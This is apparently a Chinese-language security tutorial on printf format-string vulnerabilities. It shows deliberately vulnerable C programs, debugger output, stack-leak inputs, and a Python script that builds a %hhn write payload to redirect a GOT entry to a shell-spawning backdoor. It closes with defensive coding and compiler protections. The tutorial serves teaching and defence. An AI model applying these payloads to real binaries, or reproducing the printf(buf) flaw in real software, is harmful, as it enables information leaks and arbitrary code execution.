printf 常见漏洞
字数 1028 2025-08-05 08:19:22
printf 格式化字符串漏洞详解
漏洞原理概述
printf 格式化字符串漏洞是由于程序员错误地将用户输入直接作为 printf 函数的第一个参数(格式化字符串)使用,导致攻击者可以控制格式化字符串内容,从而能够:
- 泄露栈或寄存器中的敏感信息
- 向特定内存地址写入数据
- 破坏程序执行流程
漏洞类型与利用技术
1. 整数型泄露
原理:利用 %n$d 格式直接指定要泄露的栈位置(n表示位置偏移)
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int login(long long password) {
char buf[0x10] = {0};
long long your_pass;
scanf("%15s", buf);
printf(buf); // 漏洞点
printf("\n");
scanf("%lld", &your_pass);
return password == your_pass;
}
int main() {
long long password;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
password = rand();
if(login(password)) {
system("/bin/sh");
} else {
printf("Failed!\n");
}
return 0;
}
利用方法:
- 通过调试确定password在栈上的偏移位置
- 在64位系统中,前6个参数通过寄存器传递,之后的参数通过栈传递
- 假设password位于栈上第11个位置,则使用
%17$lld泄露(6寄存器+11栈位置)
利用示例:
./login
%17$lld
706665966
706665966
2. 浮点型泄露
原理:使用 %a 格式以16进制形式输出double型变量,可以精确泄露地址
关键点:
- 编译器在调用printf前会将浮点变量压入xmm寄存器
- 如果printf参数是用户控制的buf,编译器会设置eax为0
- 此时输出浮点型会泄露栈上的内容
示例代码:
#include <stdio.h>
#include <dlfcn.h>
int main() {
char *libc_addr = *(char**)dlopen("libc.so.6", RTLD_LAZY);
printf("libc addr: %p\n", libc_addr);
printf("%lx\n", (long long)(libc_addr + 0x5f4000) >> 8);
printf("%a\n%a\n"); // 漏洞点
return 0;
}
调试分析:
0x7ffff7844e89 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7ffff7844e8e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7ffff7844e93 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7ffff7844e98 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7ffff7844e9d <printf+29> mov qword ptr [rsp + 0x48], r9
利用结果:
libc addr: 0x7f9223e6d000
7f92244610
0x0p+0
0x0.07f92244610ep-1022
3. 字符串泄露
原理:使用 %s 格式泄露栈上或寄存器指向的字符串
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
void timeout() {
puts("Timeout!");
exit(0);
}
int main() {
char buf[0x10];
scanf("%15s", buf);
signal(14, timeout);
alarm(60);
printf(buf); // 漏洞点
return 0;
}
调试分析:
[REGISTERS]
RSI 0x7fffffffd840 —▸ 0x55555555483a (timeout) ◂— push rbp
利用方法:
- 通过
%s可以泄露 signal 函数设置的 timeout 函数地址 - 从而计算出程序基地址
4. 写入型漏洞
原理:使用 %n 格式向指定地址写入数据
两种情形:
- 栈上地址可控:可实现任意地址写
- 只能写到栈中指定地址:进行部分覆盖
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor() {
execve("/bin/sh", NULL, NULL);
asm("xor %rdi, %rdi\nmov $60, %eax\nsyscall");
}
int main() {
char buf[0x100];
scanf("%255s", buf);
printf(buf); // 漏洞点
exit(0);
}
利用方法:
- 假设没有开启PIE,可以修改exit函数的got表为backdoor地址
- 构造格式化字符串实现精确写入
格式化字符串构造示例(Python):
import struct
content = 'abcdefgh'
addr = 0x400000
offset = 16
inner_offset = 3
payload = ''
last = 0
for i in range(len(content)):
payload += ' %%%dc%%%d$hhn' % ((ord(content[i]) - last + 0x100) % 0x100, offset + i)
payload += 'a' * inner_offset + ''.join([struct.pack('Q', addr + i) for i in range(len(content))])
print(payload)
防御措施
-
永远不要将用户输入直接作为printf的格式化字符串:
// 错误 printf(user_input); // 正确 printf("%s", user_input); -
使用编译器保护机制:
- GCC的
-Wformat-security选项 -Wformat=2选项
- GCC的
-
使用静态分析工具检测潜在漏洞
-
启用安全机制:
- ASLR(地址空间布局随机化)
- RELRO(重定位只读)
- Stack Canary(栈保护)
总结
printf格式化字符串漏洞是二进制安全中常见且危险的漏洞类型,攻击者可以利用它实现信息泄露和任意代码执行。理解其原理和利用技术对于安全研究和漏洞防护都至关重要。开发者应始终遵循安全编码实践,避免将用户输入直接作为格式化字符串使用。